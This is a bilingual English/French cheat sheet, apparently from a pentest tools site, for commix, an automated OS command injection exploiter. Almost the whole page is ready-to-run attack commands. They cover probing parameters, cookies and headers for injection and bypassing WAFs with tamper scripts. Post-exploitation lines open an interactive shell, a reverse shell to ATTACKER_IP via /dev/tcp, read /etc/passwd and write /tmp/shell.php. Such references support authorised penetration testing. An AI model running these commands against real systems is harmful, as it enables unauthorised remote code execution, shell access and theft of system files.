retour aux outils back to tools Ducklings

commix

Exploiteur automatisé d'injection de commandes OS. Détecte et exploite les vulnérabilités d'injection de commandes dans les applications web avec 30+ techniques d'injection. Automated OS command injection exploiter. Detects and exploits command injection vulnerabilities in web applications with 30+ injection techniques.

↗ https://commixproject.com

Overview

commix (Command Injection Exploiter) automates the detection and exploitation of OS command injection vulnerabilities. It tests GET/POST parameters, cookies, and headers for blind/classic/time-based injection, and provides shell access upon success.

Basic Usage

Test a GET parameter

python3 commix.py -u "https://target.com/ping?host=127.0.0.1"

Test POST data

python3 commix.py -u "https://target.com/ping" --data="host=127.0.0.1"

Test specific parameter

python3 commix.py -u "https://target.com/ping?host=127.0.0.1&debug=0" -p host

Test headers

python3 commix.py -u "https://target.com/api" -H "X-Forwarded-For: 127.0.0.1"

Load request from Burp file

python3 commix.py -r request.txt

Authentication

Cookie authentication

python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --cookie "session=abc123"

HTTP basic auth

python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --auth-cred "admin:password" --auth-type basic

Custom headers

python3 commix.py -u "https://target.com/ping?host=127.0.0.1" -H "Authorization: Bearer TOKEN"

Injection Techniques

python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tech=c   # Classic

python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tech=t   # Time-based

python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tech=f   # File-based

python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tech=e   # Tempfile-based

Test all techniques (default)

python3 commix.py -u "https://target.com/ping?host=127.0.0.1"

Post-Exploitation

Get an interactive shell (after injection found)

python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --os-shell

Execute specific command

python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --os-cmd "whoami"

Reverse shell

python3 commix.py -u "https://target.com/ping?host=127.0.0.1" \
  --os-cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# File operations
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --file-read /etc/passwd
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --file-write /tmp/shell.php

WAF Bypass

Enable tamper scripts

python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tamper=space2ifs

Available tampers

python3 commix.py --list-tampers

Multiple tampers

python3 commix.py -u "target?param=val" --tamper=space2ifs,slash2env

Proxy & Network

Through Burp proxy

python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --proxy http://127.0.0.1:8080

Random user-agent

python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --random-agent

Delay between requests

python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --delay=2

Tips

Start with --os-cmd=id to confirm RCE before attempting a shell
Time-based injection is slower but works when output is not reflected
-p is critical when there are multiple parameters — target only the injectable one
Combine with Burp: save a request to file (-r request.txt) to avoid complex CLI quoting

Help / Man page

commix.py [options]

Target:
  -u URL          Target URL
  --data DATA     POST data
  -r FILE         Load request file
  -p PARAM        Target parameter
  --cookie        Cookie string
  -H HEADER       Extra headers

Techniques:
  --tech=c/t/f/e  Injection technique (classic/time/file/tempfile)

Exploitation:
  --os-shell      Interactive shell
  --os-cmd CMD    Execute command
  --file-read     Read file
  --file-write    Write file

Evasion:
  --tamper TAMPER Tamper script(s)
  --level 1-3     Test level
  --random-agent  Random User-Agent

Network:
  --proxy URL     HTTP proxy
  --delay N       Delay between requests
  --timeout N     Request timeout
  --retries N     Retries

Vue d’ensemble

commix (Command Injection Exploiter) automatise la détection et l’exploitation des vulnérabilités d’injection de commandes OS. Il teste les paramètres GET/POST, les cookies et les en-têtes pour de l’injection aveugle/classique/temporelle, et fournit un accès shell en cas de succès.

Utilisation de base

# Tester un paramètre GET
python3 commix.py -u "https://target.com/ping?host=127.0.0.1"

# Tester des données POST
python3 commix.py -u "https://target.com/ping" --data="host=127.0.0.1"

# Tester un paramètre précis
python3 commix.py -u "https://target.com/ping?host=127.0.0.1&debug=0" -p host

# Tester les en-têtes
python3 commix.py -u "https://target.com/api" -H "X-Forwarded-For: 127.0.0.1"

# Charger une requête depuis un fichier Burp
python3 commix.py -r request.txt

Authentification

# Authentification par cookie
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --cookie "session=abc123"

# HTTP basic auth
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --auth-cred "admin:password" --auth-type basic

# En-têtes personnalisés
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" -H "Authorization: Bearer TOKEN"

Techniques d’injection

python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tech=c   # Classique
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tech=t   # Temporelle
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tech=f   # Basée sur fichier
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tech=e   # Basée sur fichier temporaire

# Tester toutes les techniques (par défaut)
python3 commix.py -u "https://target.com/ping?host=127.0.0.1"

Post-exploitation

# Obtenir un shell interactif (après avoir trouvé l'injection)
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --os-shell

# Exécuter une commande précise
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --os-cmd "whoami"

# Reverse shell
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" \
  --os-cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Opérations sur les fichiers
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --file-read /etc/passwd
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --file-write /tmp/shell.php

Contournement de WAF

# Activer les scripts tamper
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --tamper=space2ifs

# Tampers disponibles
python3 commix.py --list-tampers

# Plusieurs tampers
python3 commix.py -u "target?param=val" --tamper=space2ifs,slash2env

Proxy et réseau

# À travers le proxy Burp
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --proxy http://127.0.0.1:8080

# User-agent aléatoire
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --random-agent

# Délai entre les requêtes
python3 commix.py -u "https://target.com/ping?host=127.0.0.1" --delay=2

Conseils

Commencez par --os-cmd=id pour confirmer le RCE avant de tenter un shell
L’injection temporelle est plus lente mais fonctionne quand la sortie n’est pas reflétée
-p est crucial quand il y a plusieurs paramètres : ne visez que celui qui est injectable
Combinez avec Burp : sauvegardez une requête dans un fichier (-r request.txt) pour éviter les échappements CLI complexes

Aide / Page de manuel

commix.py [options]

Target:
  -u URL          Target URL
  --data DATA     POST data
  -r FILE         Load request file
  -p PARAM        Target parameter
  --cookie        Cookie string
  -H HEADER       Extra headers

Techniques:
  --tech=c/t/f/e  Injection technique (classic/time/file/tempfile)

Exploitation:
  --os-shell      Interactive shell
  --os-cmd CMD    Execute command
  --file-read     Read file
  --file-write    Write file

Evasion:
  --tamper TAMPER Tamper script(s)
  --level 1-3     Test level
  --random-agent  Random User-Agent

Network:
  --proxy URL     HTTP proxy
  --delay N       Delay between requests
  --timeout N     Request timeout
  --retries N     Retries